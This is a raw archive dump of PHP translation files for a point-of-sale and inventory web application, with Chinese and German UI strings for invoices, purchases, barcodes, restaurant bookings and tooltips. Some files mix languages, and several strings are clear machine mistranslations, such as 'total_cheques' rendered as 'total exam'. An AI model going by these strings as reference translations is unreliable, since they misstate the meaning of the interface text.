'label_help' => '打印条形码/标签', 'connection_type_windows' => '连接类型窗口', 'connection_type_linux' => ' Linux连接类型', 'windows_type_help' => '设备文件将遵循', 'linux_type_help' => '您的打印机设备文件将在类似的地方', 'due_date' => '截止日期', 'quotation_no' => '报价单号', 'browser_based_printing' => '基于浏览器的打印', 'configured_printer' => '使用配置的收据打印机', 'for_normal_printer' => '对于普通打印机', 'recomended_for_80mm' => '推荐用于热敏线收据打印机，纸张尺寸为80mm', 'recomended_for_58mm' => '推荐用于热敏线票据打印机，纸张尺寸为80mm和58mm', 'classic' => '经典', 'elegant' => '优雅', 'slim' => '瘦', 'detailed' => '详细', 'columnize_taxes' => '将税收分类', 'access_sell_return' => '访问卖出收益', 'system_notification' => '系统通知', 'time_range' => '时间范围', 'enable_php_intl_extension' => '在PHP INI设置中启用php-intl扩展', 'profit_note' => ' <b>注意：</b>按产品/类别/品牌划分的利润仅考虑在线折扣。不考虑发票折扣。', 'upcoming_bookings' => '即将到来的预订', 'is_refund' => '正在退款', 'is_refund_help' => '如果检查的费用将被退还并将被添加到净利润中', 'refund' => '退款', 'activate' => '启用', 'deactivate' => '停用', 'add_quotation' => '添加报价', 'product_stock_history' => '产品库存历史', 'quantities_in' => '数量输入', 'quantities_out' => '数量不足', 'in' => '在', 'out' => '出', 'totals' => '总计', 'quantity_change' => '数量变化', 'new_quantity' => '新数量', 'no_stock_history_found' => '未找到库存历史记录', 'add_draft' => '添加草稿', 'labels_for_sale_shipping_custom_fields' => '出售自定义字段的销售标签', 'is_required' => '是必须的', 'convert_to_invoice' => '转换为发票', 'converted_to_invoice_successfully' => '已成功转换为发票 :invoice_no', 'proforma' => '形式', 'proforma_invoice' => '形式发票', 'convert_to_proforma' => '转换为形式发票', 'converted_to_proforma_successfully' => '转换为形式发票', 'billing_address' => '帐单地址', 'delete_sell' => '删除出售', 'product_brochure' => '产品手册', 'whatsapp_text' => ' Whatsapp文字', 'auto_send_wa_notif' => '自动发送Whatsapp通知', 'send_whatsapp' => '发送Whatsapp通知', 'send_sms' => '发送短信', 'send_email' => '发电子邮件', 'shipping_documents' => '货运单据', 'no_attachment_found' => '未找到附件', 'attachments' => '附件', 'print_invoice' => '打印发票', 'word_format' => '字格式', 'international' => '国际', 'indian' => '印度人', 'word_format_help' => '在国际格式中，大数字以百万，十亿和万亿表示，而在印度格式中，则以十万和千万表示', 'shipping_edited' => '已发货', 'payment_edited' => '付款已修改', 'notification_sent' => '已发送通知', 'imported' => '导入', 'logout' => '登出', 'backup_clean_command_instruction' => '要清理旧备份，必须使用以下命令设置cron作业：', 'converted' => '已转换', 'view_commission_agent_sell' => '佣金代理可以查看自己的出售', 'access_commission_agent_shipping' => '代理可以访问自己的货件', 'access_own_shipping' => '访问自己的货件', 'email_notification_sent' => '发送电子邮件通知', 'sms_notification_sent' => '发送短信通知', 'packing_date' => '包装日期', 'print_exp_date' => '打印有效期', 'print_packing_date' => '打印包装日期', 'print_lot_number' => '打印批号', 'family_contact_number' => '家庭联系电话', 'custom_payment' => '自定义付款 :number', 'default_credit_limit' => '默认信用额度', 'price_calculation_type' => '价格计算类型', 'show_pricing_on_product_sugesstion' => '在产品建议工具提示上显示价格', 'all_purchase_orders' => '所有采购订单', 'add_purchase_order' => '添加采购订单', 'edit_purchase_order' => '编辑采购订单', 'purchase_order_details' => '采购订单明细', 'enable_purchase_order' => '启用采购订单', 'purchase_order_help_text' => '采购订单是商业文件，是买方向卖方发出的首次正式要约，表明产品或服务的类型，数量和议定价格。它用于控制从外部供应商处购买产品和服务。采购订单可以成为企业资源计划系统订单的重要组成部分。', 'view_all_purchase_order' => '查看所有采购订单', 'view_own_purchase_order' => '查看自己的采购订单', 'create_purchase_order' => '创建采购订单', 'delete_purchase_order' => '删除采购订单', 'purchase_order_delete_success' => '购买订单已成功删除', 'order_quantity' => '订单数量', 'order_date' => '订购日期', 'max_quantity_quantity_allowed' => '最大 :quantity 许的数量', 'leave_empty_to_autogenerate' => '留空以自动生成', 'add_edit_invoice_number' => '添加编辑发票编号', 'keep_blank_to_autogenerate' => '保留空白以自动生成', 'download_pdf' => '下载pdf', 'attach_pdf_in_email' => '在电子邮件中附加发票pdf', 'send_sms_whatsapp_notification' => '发送短信/ whatsapp通知', 'enable_sales_order' => '启用销售订单', 'sales_order' => '销售订单', 'sales_order_help_text' => '销售订单，有时缩写为SO，是由企业或个体商人向客户发布的订单。销售订单可能是针对产品和/或服务的。', 'add_sales_order' => '添加销售订单', 'edit_sales_order' => '编辑销售订单', 'shipping_note' => '发货单', 'code_1_name' => '代码1名称', 'code_2_name' => '代码2名称', 'code_1' => '代码1', 'code_2' => '代码2', 'download_paking_pdf' => '下载打包pdf', 'subject_type' => '主题类型', 'activity_log' => '活动日志', 'sell_deleted' => '出售已删除', 'so_deleted' => '销售订单已删除', 'po_deleted' => '已删除购买订单', 'purchase_deleted' => '购买已删除', 'contact_deleted' => '联系人已删除', 'payment_deleted' => '付款已删除', 'quantity_remaining' => '剩余数量', 'view_sale' => '查看销售', 'update_sale' => '更新出售', 'add_sell' => '添加销售', 'account_details' => '帐户详细资料', 'label' => '标签', 'prefer_payment_method' => '首选付款方式', 'prefer_payment_account' => '首选付款帐户', 'this_will_be_shown_in_pdf' => '客户可以用来支付发票的首选方法/帐户。（适用于信用发票）', 'view_own_so' => '查看自己的销售订单', 'view_all_so' => '查看所有销售订单', 'create_so' => '创建销售订单', 'edit_so' => '编辑销售订单', 'delete_so' => '删除销售订单', 'types_of_service_custom_field_help' => '添加销售时将提供六个自定义字段', 'delete_expense' => '删除费用', 'access_all_expense' => '获取所有费用', 'designation' => '指定', 'department' => '部门', 'is_default_for_contact' => '默认为联系方式', 'individual' => '个人', 'is_export' => '是出口吗？', 'export' => '出口', 'export_custom_field1' => '导出自定义字段1', 'export_custom_field2' => '导出自定义字段2', 'export_custom_field3' => '导出自定义字段3', 'export_custom_field4' => '导出自定义字段4', 'export_custom_field5' => '导出自定义字段5', 'export_custom_field6' => '导出自定义字段6', 'enable_export' => '启用导出', 'edit_status' => '编辑状态', 'status_updated' => '状态已更新', 'item_discount_label' => '商品折扣标签', 'sales_orders' => '销售订单', 'cash_denominations' => '现金面额', 'cash_denominations_help' => '逗号分隔的值，例如：100,200,500,2000', 'denomination' => '面值', 'count' => '数数', 'denomination_add_help_text' => '在设置->业务设置-> POS->现金面额中添加面额', 'order_dates' => '订单日期', 'by_category' => '按类别', 'by_brand' => '按品牌', 'no_brand' => '无品牌', 'woocommerce_sync' => 'WooCommerce 同步', 'enable' => '使能够', 'disable' => '禁用', 'cmmsn_calculation_type' => '佣金计算类型', 'invoice_value' => '发票面额', 'total_payment_with_commsn' => '带佣金的总付款', 'payments_with_cmmsn' => '带佣金的付款', 'view_all_drafts' => '查看所有草稿', 'view_own_drafts' => '查看自己的草稿', 'edit_draft' => '编辑草稿', 'delete_draft' => '删除草稿', 'view_all_quotations' => '查看所有报价', 'view_own_quotations' => '查看自己的报价', 'edit_quotation' => '编辑报价', 'delete_quotation' => '删除报价', 'primary_work_location' => '主要工作地点', 'labels_for_purchase_shipping_custom_fields' => '用于购买运输自定义字段的标签', 'view_own_purchase_n_stock_adjustment' => '查看自己的采购和库存调整', 'view_all_purchase_n_stock_adjustment' => '查看所有采购和库存调整', 'access_all_shipments' => '访问所有货件', 'view_all_sale' => '查看所有销售', 'total_quantity' => '总数（量', 'pending_shipments' => '待发货', 'view_paid_sells_only' => '仅查看付费销售', 'view_due_sells_only' => '仅查看到期销售', 'view_partially_paid_sells_only' => '仅查看部分付费销售', 'view_overdue_sells_only' => '仅查看过期销售', 'customer_with_no_sell_one_month' => '查看仅一个月没有销售的客户', 'customer_with_no_sell_three_month' => '查看仅三个月内没有销售的客户', 'customer_with_no_sell_six_month' => '查看仅六个月内没有销售的客户', 'customer_with_no_sell_one_year' => '查看一年内没有销售的客户', 'customer_permissions_tooltip' => '要查看在特定时间没有销售的所有客户<b>查看所有客户</b>需要权限，否则它将仅过滤由登录用户创建的客户', 'sell_permissions_tooltip' => '要根据付款状态查看销售<b>查看所有销售</b>需要许可，否则它将仅过滤由登录用户创建的销售', 'access_pending_shipments_only' => '仅访问待处理的货件', 'access_all_sell_return' => '访问所有卖出返还', 'access_own_sell_return' => '访问自己的销售返还', 'proforma_heading' => '形式发票标题', 'tooltip_proforma_heading' => '向客户提供形式发票时使用形式发票标题。', 'line_taxes' => '线税', 'add_additional_expenses' => '增加额外费用', 'additional_expense_name' => '附加费用名称', 'purchase_additional_expense' => '购买额外费用', 'qr_code' => 'QR码', 'show_qr_code' => '显示QR码', 'fields_to_be_shown' => '要显示的字段', 'business_location_address' => '营业地点地址', 'business_tax_1' => '营业税1', 'business_tax_2' => '营业税2', 'invoice_datetime' => '发票日期时间', 'total_amount_with_tax' => '含税总额', 'total_bank_transfer' => '银行转账总额', 'total_advance_payment' => '预付款总额', 'commission_agent_label' => '委托代理标签', 'show_commission_agent' => '展会佣金代理', 'cannot_change_role' => '无法改变角色', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => '支付链接', 'enable_payment_link' => '启用支付链接', 'payment_link_help_text' => '通过启用用户可以使用支付链接支付发票', 'invoice_payment' => '发票支付', 'payment_for_invoice_no' => '支付发票号', 'pending_shipments' => '待发货', 'sources' => '来源', 'stripe_secret_key' => '条纹秘钥', 'stripe_public_key' => '条带公钥', 'edit_opening_balance' => '编辑期初余额', 'edit_fund_transfer' => '编辑资金转账', 'edit_deposit' => '编辑存款', 'deposit_to' => '存款到', 'transfer_from' => '从转移', 'edit_account_transaction' => '编辑账户交易', 'delete_account_transaction' => '删除账户交易', 'add_purchase_payment' => '添加购买付款', 'edit_purchase_payment' => '编辑购买付款', 'delete_purchase_payment' => '删除购买付款', 'add_sell_payment' => '添加销售付款', 'edit_sell_payment' => '编辑销售付款', 'delete_sell_payment' => '删除销售付款', 'sales_order_heading' => '销售订单标题', 'account_balance' => '账户余额', 'total_balance' => '总余额', 'account_balance_tooltip' => '特定账户的总余额', 'total_balance_tooltip' => '所有账户的总余额', 'sell_additional_expense' => '出售额外费用', 'view_export_buttons' => '查看导出到表格上的按钮（csv/excel/print/pdf）', 'overall' => '全面的', 'show_labels' => '显示标签', 'zatca_qr' => 'ZATCA (Fatoora) 二维码', 'zatca_qr_help' => '对于沙特阿拉伯国家', 'customer_irrespective_of_sell' => '查看客户而不考虑他们的销售情况', 'img_url_help_text' => '或图片的网址', 'delivery_person' => '送货人', 'enable_service_staff_pin' => '启用服务人员PIN码', 'staff_pin' => '员工PIN码', 'tooltip_is_enable_service_staff_pin' => '如果启用，销售/POS期间选择此用户作为服务人员时，需要输入PIN码，错误的PIN码将不允许选择此用户作为服务人员。', 'kitchen_order' => '厨房订单', 'kitchen_order_tooltip' => '只有在选中此选项时，订单才会发送到厨房', 'disable_quotation' => '禁用报价', 'disable_card' => '禁用卡片', 'assigned_to' => '分配给', 'has_no_sell_from' => '没有销售来自', 'delivery_note' => '交货单', 'above_mentioned_items_received_in_good_condition' => '以上提到的物品在良好的条件下收到', 'received_by' => '接收者', 'enter_details_below_to_check_repair_status' => '在下面输入详细信息以检查维修状态', 'search_by' => '搜索方式' ]; PK G �Z��w�i i ce/barcode.phpnu �[��� <?php return [ 'barcodes' => '條形碼', 'barcode_settings' => '條形碼設置', 'manage_your_barcodes' => '管理條形碼設置', 'all_your_barcode' => '所有條形碼設置', 'setting_name' => '貼紙設置名稱', 'setting_description' => '貼紙表設置說明', 'added_success' => '條形碼設置已成功添加', 'updated_success' => '條形碼設置已成功更新', 'deleted_success' => '條形碼設置已成功刪除', 'add_new_setting' => '添加新設置', 'add_barcode_setting' => '添加條形碼貼紙設置', 'edit_barcode_setting' => '編輯條形碼貼紙設置', 'in_in' => '以英寸為單位', 'width' => '貼紙的寬度', 'height' => '貼紙的高度', 'top_margin' => '額外的上邊距', 'left_margin' => '額外左邊距', 'row_distance' => '兩行之間的距離', 'col_distance' => '兩列之間的距離', 'blank_stickers' => '空白貼紙', 'stickers_in_one_row' => '連續貼紙', 'delete_confirm' => '此設置將被刪除\ n您確定嗎？', 'set_as_default' => '設為默認值', 'default' => 'standard', 'default_set_success' => '默認設置成功', 'stickers_in_one_sheet' => '每張紙的貼紙數量', 'is_continuous' => '連續進給或滾動', 'products' => '產品', 'no_of_labels' => '標籤數量', 'info_in_labels' => '要在標籤中顯示的信息', 'print_name' => '產品名稱', 'print_variations' => '產品差異（推薦）', 'print_price' => '產品價格', 'show_price' => '顯示價格', 'print_variations' => '預覽', 'print_business_name' => '商家名稱', 'barcode_setting' => '條形碼設置', 'paper_width' => '紙張寬度', 'paper_height' => '紙張高度', 'print_labels' => '打印標籤', 'labels' => '標籤', ]; PK G �Z�%e.� � ce/user.phpnu �[��� <?php return [ 'edit_profile' => 'Profil bearbeiten', 'change_password' => 'Passwort ändern', 'current_password' => 'Aktuelles Passwort', 'new_password' => 'Neues Kennwort', 'confirm_new_password' => 'Bestätige neues Passwort', 'user_management' => 'Benutzerverwaltung', 'roles' => 'Rollen', 'users' => 'Benutzer', 'manage_roles' => 'Rollen verwalten', 'all_roles' => 'Alle Rollen', 'add_role' => 'Rolle hinzufügen', 'role_name' => 'Rollenname', 'permissions' => 'Berechtigungen', 'role_added' => 'Rolle erfolgreich hinzugefügt', 'role_already_exists' => 'Rolle mit demselben Namen existiert bereits', 'edit_role' => 'Rolle bearbeiten', 'role_updated' => 'Rolle erfolgreich aktualisiert', 'role_deleted' => 'Rolle erfolgreich gelöscht', 'manage_users' => 'Benutzer verwalten', 'all_users' => 'Alle Nutzer', 'name' => 'Name', 'role' => 'Rolle', 'add_user' => 'Benutzer hinzufügen', 'user_added' => 'Benutzer wurde erfolgreich hinzugefügt', 'role_is_default' => 'Sie können diese Rolle nicht ändern', 'edit_user' => 'Benutzer bearbeiten', 'leave_password_blank' => 'Lassen Sie das Passwortfeld leer, wenn Sie das Passwort nicht aktualisieren möchten', 'user_update_success' => 'Benutzer wurde erfolgreich aktualisiert', 'user_delete_success' => 'Benutzer wurde erfolgreich gelöscht', ]; PK G �Z���� � ce/restaurant.phpnu �[��� <?php return [ 'restaurant' => '餐厅', 'tables' => '桌子', 'table' => '桌子', 'manage_your_tables' => '管理您的餐桌', 'all_your_tables' => '所有餐桌', 'description' => '描述', 'add_table' => '添加桌子', 'edit_table' => '编辑桌子', 'table_name' => '桌名', 'short_description' => '简短描述', 'select_table' => '选择桌子', 'show_table' => '显示桌子', 'table_label' => '桌标签', 'show_service_staff' => '显示服务人员', 'service_staff_label' => '服务人员标签', 'select_waiter' => '选择服务员', 'modifiers' => '修改器', 'modifier_sets' => '修改器集', 'manage_your_modifiers' => '管理您的修改器', 'all_your_modifiers' => '所有修改器', 'add_modifier' => '添加修改器', 'modifier_set' => '修改器集', 'modifier' => '修改器', 'edit_modifier' => '编辑修改器', 'manage_products' => '管理产品', 'products' => '产品', 'modifiers_for_product' => '产品的修改器', 'kitchen' => '厨房', 'mark_as_cooked' => '标记为已烹饪', 'manage_your_kitchen' => '管理您的厨房', 'all_orders' => '所有订单', 'order_no' => '订单号', 'order_statuses' => [ 'received' => '已接收', 'cooked' => '已烹饪', 'served' => '已上菜', '' => '已接收', ], 'order_successfully_marked_cooked' => '订单成功标记为已烹饪', 'order_successfully_marked_served' => '订单成功标记为已上菜', 'orders' => '订单', 'manage_your_orders' => '管理您的订单', 'all_your_orders' => '所有您的订单', 'mark_as_served' => '标记为已上菜', 'placed_at' => '下单时间', 'order_status' => '订单状态', 'order_details' => '订单详情', 'refresh' => '刷新', 'no_orders_found' => '未找到订单', 'select_service_staff' => '选择服务人员', 'service_staff' => '服务人员', 'kitchen_for_restaurant' => '餐厅厨房', 'products_for_modifier' => '修改器的产品', 'is_service_staff' => '是服务人员', 'tooltip_tables' => '主要用于餐厅、酒吧、沙龙等场所', 'tooltip_modifiers' => '使用主要产品添加额外项目<br>示例：配料、奶酪', 'tooltip_service_staff' => '为客户提供指定服务的人员 - 示例：餐厅的等候员、沙龙的理发师', 'modules_settings' => '模块设置', 'bookings' => '预订', 'add_edit_view_all_booking' => '添加/编辑/查看所有预订', 'add_edit_view_own_booking' => '添加/编辑/查看自己的预订', 'add_booking' => '添加预订', 'start_time' => '开始时间', 'end_time' => '结束时间', 'booking_not_available' => '该桌已被预订给<b>:customer_name</b>，时间范围为<b>:booking_time_range</b>', 'select_correspondent' => '选择对应人员', 'send_notification_to_customer' => '向客户发送邮件/短信通知', 'booking_details' => '预订详情', 'correspondent' => '对应人员', 'booking_starts' => '预订开始', 'booking_ends' => '预订结束', 'cancelled' => '已取消', 'completed' => '已完成', 'change_booking_status' => '更改预订状态', 'booked' => '已预订', 'delete_booking' => '删除预订', 'click_on_any_booking_to_view_or_change_status' => '单击任何预订以查看或更改状态', 'double_click_on_any_day_to_add_new_booking' => '双击任何一天以添加新预订', 'todays_bookings' => '今日预订', 'hello_name' => '你好:name！', 'booking_confirmed' => '您的预订已确认。', 'table_info' => '桌子：:table', 'booking_time_info' => '从: :from 到: :to', 'new_booking_subject' => '新预订 -:business_name', 'customer_note' => '顾客备注', 'table_report' => '桌报告', 'service_staff_report' => '服务人员报告', 'service_staff_replacement' => '服务人员更换', ]; PK G �Z��z z ce/purchase.phpnu �[��� <?php return [ 'supplier' => 'Lieferant', 'ref_no' => 'Referenznummer', 'business_location' => 'Geschäftsstandort', 'purchases' => 'Einkäufe', 'add_payment' => 'Zahlung hinzufügen', 'edit_payment' => 'Zahlung bearbeiten', 'view_payments' => 'Zahlungen anzeigen', 'amount_already_paid' => 'Bereits bezahlter Betrag', 'payment_added_success' => 'Zahlung erfolgreich hinzugefügt', 'payment_updated_success' => 'Zahlung erfolgreich aktualisiert', 'payment_deleted_success' => 'Zahlung erfolgreich gelöscht', 'amount' => 'Menge', 'payment_method' => 'Bezahlverfahren', 'no_records_found' => 'Keine Aufzeichnungen gefunden', 'payment_due' => 'Zahlung fällig', 'purchase_total' => 'Kaufsumme', 'location' => 'Ort', 'payment_note' => 'Zahlungsnote', 'all_purchases' => 'Alle Einkäufe', 'purchase_status' => 'Kaufstatus', 'payment_status' => 'Zahlungsstatus', 'grand_total' => 'Gesamtsumme', 'add_purchase' => 'Kauf hinzufügen', 'purchase_date' => 'Kaufdatum', 'purchase_quantity' => 'Kaufmenge', 'unit_cost_before_tax' => 'Stückkosten (vor Steuern)', 'subtotal_before_tax' => 'Zwischensumme (vor Steuern)', 'product_tax' => 'Produktsteuer', 'net_cost' => 'Nettokosten', 'line_total' => 'Zeilensumme', 'unit_selling_price' => 'Verkaufseinheitspreis', 'total_before_tax' => 'Gesamt vor Steuern', 'net_total_amount' => 'Netto Gesamtbetrag', 'discount_type' => 'Rabattart', 'discount_amount' => 'Rabattbetrag', 'discount' => 'Rabatt', 'edit_purchase' => 'Einkauf bearbeiten', 'purchase_tax' => 'Kaufsteuer', 'shipping_details' => 'Versanddetails', 'additional_shipping_charges' => 'Zusätzliche Versandkosten', 'additional_notes' => 'Zusätzliche Bemerkungen', 'purchase_add_success' => 'Einkauf erfolgreich hinzugefügt', 'purchase_update_success' => 'Kauf wurde erfolgreich aktualisiert', 'purchase_details' => 'Einzelheiten zum Kauf', 'unit_cost_after_tax' => 'Stückkostenpreis (nach Steuern)', 'total_after_tax' => 'Summe nach Steuern', 'no_payments' => 'Keine Zahlungen gefunden', 'allow_purchase_different_currency' => 'Käufe in anderer Währung', 'purchase_currency' => 'Kaufwährung', 'p_exchange_rate' => 'Wechselkurs', 'diff_purchase_currency_help' => 'Kaufwährung ist auf <strong> :currency </strong> eingestellt', 'list_purchase' => 'Listenkäufe', 'attach_document' => 'Dokument anhängen', 'download_document' => 'Dokument herunterladen', 'max_file_size' => 'Max Dateigröße: :sizeMB', ]; PK G �Z#U"7� � ce/business.phpnu �[��� <?php return [ 'register_and_get_started_in_minutes' => 'Registrieren und starten Sie in wenigen Minuten', 'business_name' => 'Geschäftsname', 'start_date' => 'Anfangsdatum', 'currency' => 'Währung', 'currency_placeholder' => 'Währung wählen', 'upload_logo' => 'Logo hochladen', 'country' => 'Land', 'state' => 'Zustand', 'city' => 'Stadt', 'zip_code' => 'Postleitzahl', 'zip_code_placeholder' => 'Postleitzahl', 'landmark' => 'Wahrzeichen', 'tax_1_name' => 'Steuer 1 Name', 'tax_1_no' => 'Steuer 1 Nein.', 'tax_2_name' => 'Steuer 2 Name', 'tax_2_no' => 'Steuer 2 Nein.', 'tax_1_placeholder' => 'GST / Mehrwertsteuer / Sonstige', 'prefix' => 'Präfix', 'prefix_placeholder' => 'Herr, Frau, Fräulein', 'first_name' => 'Vorname', 'last_name' => 'Familienname, Nachname', 'username' => 'Nutzername', 'email' => 'Email', 'password' => 'Passwort', 'confirm_password' => 'Bestätige das Passwort', 'register' => 'Registrieren', 'business' => 'Geschäft', 'address' => 'Adresse', 'logo_help' => 'Vorheriges Logo (falls vorhanden) wird ersetzt', 'update_settings' => 'Update Einstellungen', 'business_settings' => 'Geschäftseinstellungen', 'settings_updated_success' => 'Einstellungen erfolgreich aktualisiert', 'default_profit_percent' => 'Default Gewinnprozent', 'default_sales_tax' => 'Standardverkaufssteuer', 'default_sales_discount' => 'Standard Sale Rabatt', 'business_details' => 'Geschäftsdetails', 'tax' => 'MwSt', 'tax_details' => 'Steuerdetails', 'owner' => 'Inhaber', 'owner_info' => 'Besitzerinformation', 'sale' => 'Verkauf', 'sell_price_tax' => 'Verkaufspreis', 'product' => 'Produkt', 'sku_prefix' => 'SKU-Präfix', 'language' => 'Sprache', 'time_zone' => 'Zeitzone', 'months' => [ 1 => 'Januar', 2 => 'Februar', 3 => 'März', 4 => 'April', 5 => 'Mai', 6 => 'Juni', 7 => 'Juli', 8 => 'August', 9 => 'September', 10 => 'Oktober', 11 => 'November', 12 => 'Dezember', ], 'fy_start_month' => 'Geschäftsjahr Startmonat', 'accounting_method' => 'Buchhaltungsmethode', 'fifo' => 'FIFO (Erstes Hineingehen)', 'lifo' => 'LIFO (Letztes Hineingehen)', 'business_locations' => 'Geschäftsstandorte', 'business_location' => 'Geschäftsstandort', 'manage_your_business_locations' => 'Verwalten Sie Ihre Geschäftsstandorte', 'all_your_business_locations' => 'Alle Ihre Geschäftsstandorte', 'add_business_location' => 'Neuen Geschäftsstandort hinzufügen', 'business_location_added_success' => 'Geschäftsstandort wurde erfolgreich hinzugefügt', 'edit_business_location' => 'Geschäftsstandort bearbeiten', 'business_location_updated_success' => 'Unternehmensstandort wurde erfolgreich aktualisiert', 'location' => 'Ort', 'already_registered' => 'Bereits registriert?', 'sign_in' => 'Anmelden', 'not_yet_registered' => 'Noch nicht registriert?', 'register_now' => 'Jetzt registrieren', 'system' => 'System', 'show_help_text' => 'Hilfetext anzeigen', 'mobile' => 'Handy, Mobiltelefon', 'alternate_number' => 'Alternative Kontaktnummer', 'email' => 'Email', 'settings' => 'Die Einstellungen', 'transaction_edit_days' => 'Transaktionsbearbeitungstage', 'dashboard' => 'Instrumententafel', 'view_stock_expiry_alert_for' => 'Lagerbestands-Verfallswarnung anzeigen für', 'days' => 'Tage', 'system_settings' => 'Systemeinstellungen', 'add_keyboard_shortcuts' => 'Hinzufügen von Tastaturkürzeln', 'operations' => 'Operationen', 'keyboard_shortcut' => 'Tastaturkürzel', 'business_created_succesfully' => 'Geschäft erfolgreich erstellt !!', 'tax_number1' => '税号1', 'tax_number2' => '税号2', 'is_active' => '活性', 'created_by' => '由...制作', ]; PK G �Z�n�E� � ce/cash_register.phpnu �[��� <?php return [ 'cash_register' => '收銀機', 'manage_your_cash_register' => '管理收銀機', 'all_your_cash_register' => '所有基金', 'cash_in_hand' => '手頭的酒吧', 'open_cash_register' => '開立現金', 'enter_amount' => '輸入數量', 'open_register' => '打開註冊', 'register_details' => '註冊詳細信息', 'cash_payment' => '現金支付', 'checque_payment' => '支票付款', 'card_payment' => '信用卡付款', 'bank_transfer' => '銀行轉帳', 'other_payments' => '其他付款', 'total_sales' => '總銷售額', 'total_cash' => 'Totalsumme', 'current_register' => '當前註冊', 'close_register' => '關閉註冊', 'total_card_slips' => '卡語句總數', 'total_cheques' => '總考試', 'closing_note' => '結束說明', 'close_success' => '註冊成功完成', 'open' => '打開', 'close' => '關閉', 'total_refund' => '總退款', 'refunds' => '退款', ]; PK G �Z�Od�� � ce/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "Produkte mit geringem Lagerbestand. <br/> <small class = 'text-muted'> Basierend auf der Produktalarmmenge, die im Bildschirm Produkt hinzufügen festgelegt wurde. <br> Kaufen Sie diese Produkte, bevor der Lagerbestand endet. </small>", 'payment_dues' => "Ausstehende Zahlung für Einkäufe. <br/> <small class = 'text-muted'> Basierend auf der Zahlungsbedingung des Lieferanten. <br/> Anzeigen von Zahlungen, die innerhalb von 7 Tagen oder weniger bezahlt werden. </small>", 'input_tax' => 'Gesamtsteuer für Verkäufe innerhalb des ausgewählten Zeitraums gesammelt.', 'output_tax' => 'Gesamtsteuer für Käufe für den ausgewählten Zeitraum.', 'tax_overall' => 'Differenz zwischen der gesamten Steuereinnahme und der Gesamtsteuerzahlung innerhalb des ausgewählten Zeitraums.', 'purchase_due' => 'Total unbezahlter Betrag für Einkäufe.', 'sell_due' => 'Vom Verkauf zu erhaltender Gesamtbetrag', 'over_all_sell_purchase' => '-ve value = Zu zahlender Betrag <br> + ve Wert = Zu erhaltender Betrag', 'no_of_products_for_trending_products' => 'Anzahl der Top-Trending-Produkte, die in der folgenden Tabelle verglichen werden.', 'top_trending_products' => "Meistverkaufte Produkte Ihres Shops. <br/> <small class = 'text-muted'> Filter anwenden, um Trendprodukte für bestimmte Kategorien, Marken, Geschäftslokationen usw. zu kennen. </small>", 'sku' => "Eindeutige Produkt-ID oder Stock Keeping Unit <br> <br> Halte es frei, um automatisch sku zu generieren. <br> <small class = 'text-muted'> Sie können das SKU-Präfix in den Business-Einstellungen ändern . </small> ", 'enable_stock' => 'Aktivieren oder deaktivieren Sie die Bestandsverwaltung für ein Produkt.', 'alert_quantity' => "Werden Sie gewarnt, wenn der Produktbestand die angegebene Menge erreicht oder unterschreitet. <br> <br> <small class = 'text-muted'> Produkte mit geringem Bestand werden im Dashboard - Produktbestands-Warnmeldung angezeigt. </small>", 'product_type' => '<b> Einzelprodukt </ b>: Produkt ohne Variationen. <br> <b> Variables Produkt </ b>: Produkt mit Variationen wie Größe, Farbe usw.', 'profit_percent' => "Standard-Gewinnmarge für das Produkt. <br> <small class = 'text-muted'> (<i> Sie können die Standard-Gewinnspanne in den Business-Einstellungen verwalten. </ I>) </small>", 'pay_term' => "Zahlungen für Käufe innerhalb des angegebenen Zeitraums. <br/> <small class = 'text-muted'> Alle anstehenden oder fälligen Zahlungen werden im Dashboard angezeigt - Abschnitt Zahlungspflichtig </small>", 'order_status' => 'Produkte in diesem Kauf werden nur dann zum Verkauf angeboten, wenn der <b> Bestellstatus </ b> <b> empfangen ist </ b>.', 'purchase_location' => 'Geschäftsstandort, an dem das gekaufte Produkt zum Verkauf angeboten wird.', 'sale_location' => 'Geschäftsstandort von wo aus Sie verkaufen möchten', 'sale_discount' => "Setzen Sie 'Default Sale Discount' für alle Verkäufe in den Business-Einstellungen. Klicken Sie auf das Bearbeitungssymbol unten, um den Rabatt hinzuzufügen / zu aktualisieren.", 'sale_tax' => 'Legen Sie die Standardverkaufssteuer für alle Verkäufe in den Geschäftseinstellungen fest. Klicken Sie auf das Bearbeitungssymbol, um die Umsatzsteuer hinzuzufügen / zu aktualisieren.', 'default_profit_percent' => "Standard-Gewinnspanne eines Produkts. <br> <small class = 'text-muted'> Wird verwendet, um den Verkaufspreis basierend auf dem eingegebenen Einkaufspreis zu berechnen. <br/> Sie können diesen Wert für einzelne Produkte ändern, indem Sie </small> hinzufügen ", 'fy_start_month' => 'Startmonat des Geschäftsjahres für Ihr Unternehmen', 'business_tax' => 'Registrierte Steuernummer für Ihr Unternehmen.', 'invoice_scheme' => "Rechnungsschema bezeichnet das Format der Rechnungsnummerierung. Wählen Sie das für diesen Unternehmensstandort zu verwendende Schema aus. <small class = 'text-muted'> <i> Sie können ein neues Rechnungsschema </ b> in den Rechnungseinstellungen hinzufügen </ i > </small> ", 'invoice_layout' => "Rechnungslayout für diesen Unternehmensstandort verwenden <br> <small class = 'text-muted'> (<i> Sie können ein neues <b> Rechnungslayout </ b> in <b> Rechnungseinstellungen <b> </ i>) </small> ", 'invoice_scheme_name' => 'Geben Sie dem Rechnungsschema einen aussagekräftigen Namen.', 'invoice_scheme_prefix' => 'Präfix für ein Rechnungsschema. <br> Ein Präfix kann ein benutzerdefinierter Text oder ein aktuelles Jahr sein. Beispiel: # XXXX0001, # 2018-0002', 'invoice_scheme_start_number' => "Startnummer für die Rechnungsnummerierung. <br> <small class = 'text-muted'> Sie können 1 oder jede andere Nummer eingeben, ab der die Nummerierung beginnt. </small>", 'invoice_scheme_count' => 'Gesamtzahl der für das Rechnungsschema generierten Rechnungen', 'invoice_scheme_total_digits' => 'Länge der Rechnungsnummer ohne Rechnungspräfix', 'tax_groups' => 'Gruppensteuersätze - oben definiert, die in Kombination in Kauf / Verkauf-Abschnitten verwendet werden.', 'unit_allow_decimal' => 'Decimals ermöglicht es Ihnen, die verwandten Produkte in Bruchteilen zu verkaufen.', 'print_label' => 'Produkte hinzufügen -> Informationen auswählen, die in Etiketten angezeigt werden sollen -> Barcode-Einstellung auswählen -> Etikettenvorschau -> Drucken', 'expense_for' => 'Wählen Sie den Benutzer, auf den sich die Ausgaben beziehen. <I> (Optional) </ i> <br/> <small> Beispiel: Gehalt eines Mitarbeiters. </small>', 'all_location_permission' => 'Wenn <b> Alle Standorte </ b> ausgewählt ist, hat diese Rolle die Berechtigung, auf alle Unternehmensstandorte 